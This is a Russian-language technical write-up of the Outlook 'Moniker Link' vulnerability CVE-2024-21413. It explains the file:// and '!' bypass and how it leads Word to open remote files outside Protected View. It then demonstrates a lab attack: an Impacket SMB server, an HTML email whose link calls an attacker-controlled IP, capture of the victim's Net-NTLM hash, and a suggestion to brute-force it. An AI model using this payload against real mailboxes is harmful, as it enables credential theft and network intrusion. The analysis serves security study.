Microsoft Outlook Remote Code Execution CVE-2024-21413

13 февраля 2024 года компания Microsoft выпустила предупреждение для своих пользователей о критической уязвимости в пакете Office, которая позволяет злоумышленникам удаленно выполнять вредоносный код.

Уязвимость затрагивает несколько продуктов Microsoft Office, включая приложения 365 Enterprise, Office 2016 и 2019, а также Office LTSC 2021.

Уязвимость была обнаружена исследователями компании Check Point и получила идентификатор CVE-2024-21413.

Check Point в своем отчете объясняют, что уязвимость, которую они назвали "Moniker Link", позволяет обойти встроенные средства защиты Outlook от вредоносных ссылок в электронных письмах. Для этого используется протокол file:// и специальный символ ! в ссылке для доступа к удаленному серверу злоумышленников.

Особенно примечательным становится тот факт, что дефект позволяет хакерам обойти функцию "Защищенный вид", предназначенную для блокировки вредоносного содержимого файлов для ПО Office. Это может оказаться отдельным вектором атаки, который мы рассмотрим в этой статье.

Для начала, рассмотрим, как работают механизмы защиты от вредоносных ссылок в Outlook.

Нам уже известно, что если гиперссылка в письме начинается с "http://" или "https://", то Outlook при нажатии на нее запустит браузер в Windows и откроет данный веб-сайт. Однако, можно использовать и другие протоколы в URL.

Например, рассмотрим сценарий, в котором URL ведет на звонок в Skype: skype:SkypeName?call. В этом случае, при нажатии на такую ссылку, Outlook предупредит пользователя о том, что содержимое ссылки может быть вредоносным.

В следующем сценарии, который нам более интересен, продемонстрируем использование протокола file://. С помощью него можно формировать URL к локальным и находящимся на удалённых серверах файлам.

Например, если письмо будет содержать гиперссылку с URL, которая ведет к файлу на удалённом сервере(file:///\\10.10.111.111\test\test.rtf) и получатель на неё нажмет, то Outlook никаких предупредительных окон не покажет и не будет спрашивать, открывать ссылку или нет. Вместо этого, он выдаст сообщение об ошибке и не предпримет никаких действий для получения доступа к данному файлу.

Почему так происходит? Ответ кроется в работе системы безопасности. При доступе к файлам на удаленных серверах с помощью URL-адреса используется протокол Server Message Block (SMB). Этот протокол связан главным образом с операционными системами Microsoft Windows, где он используется для реализации «Сети Microsoft Windows» и «Совместного использования файлов и принтеров».

И поскольку SMB предусматривает варианты авторизации доступа, только при попытке получить файл клиентская система отправит информацию об учетных данных Net-NTLM (протокол сетевой аутентификации), что может привести к утечке этих данных от локального пользователя или, в более серьезных случаях, администратора или пользователя домена Active Directory. Поэтому Microsoft применяет подобный метод для предотвращения любого нежелательного взаимодействия с использованием Net-NTLM.

Теперь рассмотрим, какую ошибку в данной системе обнаружили исследователи из Check Point. Что будет, если мы немного видоизменим наш URL, как показано ниже?

file:///\\10.10.111.111\test\test.rtf**!something**

Обратите внимание, что мы добавили символ "!" в конец файла "test.rtf", а также несколько случайных символов "something".

Такая ссылка обойдет ранее рассмотренное ограничение безопасности Outlook, и он обратится к удаленному ресурсу за файлом, когда пользователь нажмет на ссылку.

Ключевым фактором здесь является именно этот спец. символ восклицательного знака, который изменяет поведение Outlook.

Оказалось, что Outlook в данном случае рассматривает ссылку как “Moniker Link”. Monikers - это одна из ключевых концепций Component Object Model ("COM") в Windows. Строка "Moniker Link" означает, что вызывающая программа будет использовать эту строку для поиска COM-объектов.

Чтобы узнать больше о COM и Monikers, ознакомьтесь с соответствующими документами Microsoft.

Технически, Outlook вызывает API ole32!MkParseDisplayName() для разбора строки Moniker Link и использования ее для "поиска" COM-объектов.

Component Object Model довольно сложна, она включает в себя множество концепций. Но, проще говоря, в данном сценарии вызывающая сторона (приложение Outlook) просто использует вспомогательные API COM (MkParseDisplayName()). Как и что возвращать для COM-объекта, зависит от целевого приложения (COM-сервера). COM-сервер реализует и раскрывает определенные COM-интерфейсы для вызывающего приложения или API-обертки. По сути, этот процесс похож на запуск внешнего приложения из вашего приложения (однако COM гораздо сложнее).

В нашем примере используется составной moniker(разделяется восклицательным знаком) из FileMoniker + ItemMoniker.

Получается, что FileMoniker - это \\10.10.111.111\test\test.rtf, а ItemMoniker - something.

Так как расширение файла .rtf, будет вызван Microsoft Word для "поиска" COM-объекта, на который указывает ссылка, потому что Word - это приложение на базе COM.

В основном процесс будет выглядеть следующим образом:

1. Windows запускает Microsoft Word как COM-сервер в фоновом режиме (без отображения обычного пользовательского интерфейса Word).
2. В фоновом режиме Word открывает и анализирует файл "test.rtf", на который указывает FileMoniker - на основе строки \\10.10.111.111\test\test.rtf.
3. После этого начнется поиск объекта, на который указывает ItemMoniker - на основе строки something.

К сожалению, именно в этом и заключается проблема безопасности: Word спокойно открывает и анализирует файл "test.rtf", который находится на сервере, контролируемом злоумышленниками. Это может свидетельствовать о том, что учетные данные Net-NTLM были переданы злоумышленникам, и вредоносный файл мог попасть на компьютер пользователя.

Остался ещё один вопрос: что если, на COM-сервере(в данном случае Word) присутствует какая-нибудь уязвимость, например RCE?

Дополняя сказанное выше, как выяснили исследователи из Check Point, в подобном сценарии процесс Microsoft Word не задействует режим Protected View, т.к сам Word работает на уровне Medium integrity. Это и позволяет ему открывать файлы не только в режиме чтения. Следовательно, получаем ещё один вектор атаки, когда пэйлоад попадает на компьютер жертвы и запускается там без каких-либо проверок содержимого.

Наш демонстрационный стенд представляет из себя сеть Active Directory, два пользовательских хоста под управлением ОС Windows (с двумя учетными записями) и Exchange-сервер.

Продемонстрируем атаку, нацеленную на утечку данных авторизации.

В первую очередь поднимем SMB-сервер на своем хосте (машина атакующего). Это можно сделать при помощи набора Python скриптов Impacket. В дистрибутиве Kali Linux уже есть команда Impacket-smbserver, которая запускает нужный нам скрипт.

После запуска в консольный вывод будут попадать логи подключений к нашему серверу, где мы в дальнейшем сможем увидеть пойманный Net-NTLM-хэш.

Следующим шагом будет отправка вредоносного письма жертве. Письмо будем отправлять от лица пользователя gispentest пользователю gispentest2 при помощи Microsoft Outlook.

Ниже представлено содержимое письма в формате HTML. В нем вы можете видеть ту самую вредоносную ссылку, а точнее составной MonikerLink, который мы рассмотрели в разборе.

<html>
	<body>
		<h1><a href="file:///\\192.168.100.12\test\test.doc!poc">EXPLOIT</a></h1>
	</body>
</html>

При отправке письма наблюдаем, как ссылка будет выглядеть у пользователя. Таким образом ссылку можно замаскировать под валидную, на которую пользователь захочет нажать.

Отправляем письмо и открываем Outlook на хосте другого пользователя. В полученном письме нажимаем на ссылку, имитируя действие пользователя.

В итоге наблюдаем, что Outlook выдаёт нам ошибку, что не может найти файл. Однако, если взглянуть на логи нашего SMB сервера, можно увидеть инициацию подключения и получение файла. Из этих же логов мы получаем информацию о том, какой пользователь подключился(имена домена и пользователя), а также получаем Net-NTLM-хэш.

Далее, полученный хеш можно взломать, используя метод грубого перебора, что может дать нам доступ как к машине самой жертвы, так и к другим ресурсам в сети Active Directory.

В данной статье мы более детально разобрали механизм обхода проверки подозрительных объектов в Microsoft Outlook, а также рассмотрели один из кейсов применения данной уязвимости.